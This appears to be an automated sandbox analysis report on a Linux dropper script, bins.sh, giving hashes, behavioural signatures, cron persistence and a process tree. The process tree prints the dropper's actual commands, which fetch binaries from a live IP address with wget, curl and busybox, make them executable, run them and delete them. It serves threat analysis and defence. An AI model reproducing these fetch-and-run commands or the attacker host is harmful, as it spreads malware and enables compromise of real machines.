Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 09:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4bc8a3083ffaa5e3a7da23f488fdc787

  • SHA1

    4cf7f88aa65a6b58c37c62251fcbdcb9a32b8283

  • SHA256

    90b55680af675591c28d288b43836fcee99e2f065fae6cec1ce9092d939169c2

  • SHA512

    3375c06b2f38ac637923d987d615c47304954aa37ef94736df70fee16b225f3d4262d4358a2f890986d00b36d84bde96fce65684ccee0a6e2cf4da71b268e8ac

  • SSDEEP

    192:0vzqMMKB1qHvD++MBje2aOorTKI++MBXaOorTHfMMMKB1AvC:ozqMMKB1qIe2aOorTKTaOorT/MMMKB1P

Malware Config

Signatures

  • Contacts a large (1377) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /bin/chmod
          chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • File and Directory Permissions Modification
          PID:1501
        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Executes dropped EXE
          PID:1502
        • /bin/rm
          rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
            PID:1504
          • /usr/bin/wget
            wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/chmod
            chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • File and Directory Permissions Modification
            PID:1508
          • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Executes dropped EXE
            PID:1509
          • /bin/rm
            rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
              PID:1511
            • /usr/bin/wget
              wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /bin/chmod
              chmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • File and Directory Permissions Modification
              PID:1515
            • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              ./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Executes dropped EXE
              PID:1516
            • /bin/rm
              rm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
                PID:1518
              • /usr/bin/wget
                wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:1521
              • /bin/chmod
                chmod 777 EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • File and Directory Permissions Modification
                PID:1522
              • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                ./EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1523
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1525
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1526
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1527
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1528
                    • /bin/rm
                      rm EplximRG78lPSPojYmUgyc957YaLsSA8nU
                      2⤵
                        PID:1530
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                        2⤵
                          PID:1533

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /var/spool/cron/crontabs/tmp.pBoEha

                        Filesize

                        210B

                        MD5

                        2b4fca2c3afa583b3c27433a4aa65fec

                        SHA1

                        c5e67aaac0c1efa295bddfd505fd0713b4fb69e0

                        SHA256

                        42d07984be5f950d8c98c22f24428917ac2cca392e763c4c06e2cf0b549104ea

                        SHA512

                        cf0f7c1460747351709f337ace45243cb52fde11fafc6c98f4d276274cd79d5f77bed04d10dd37820cc0582349eb1b801ef9e290f3c04d02186f1dd8582fe99c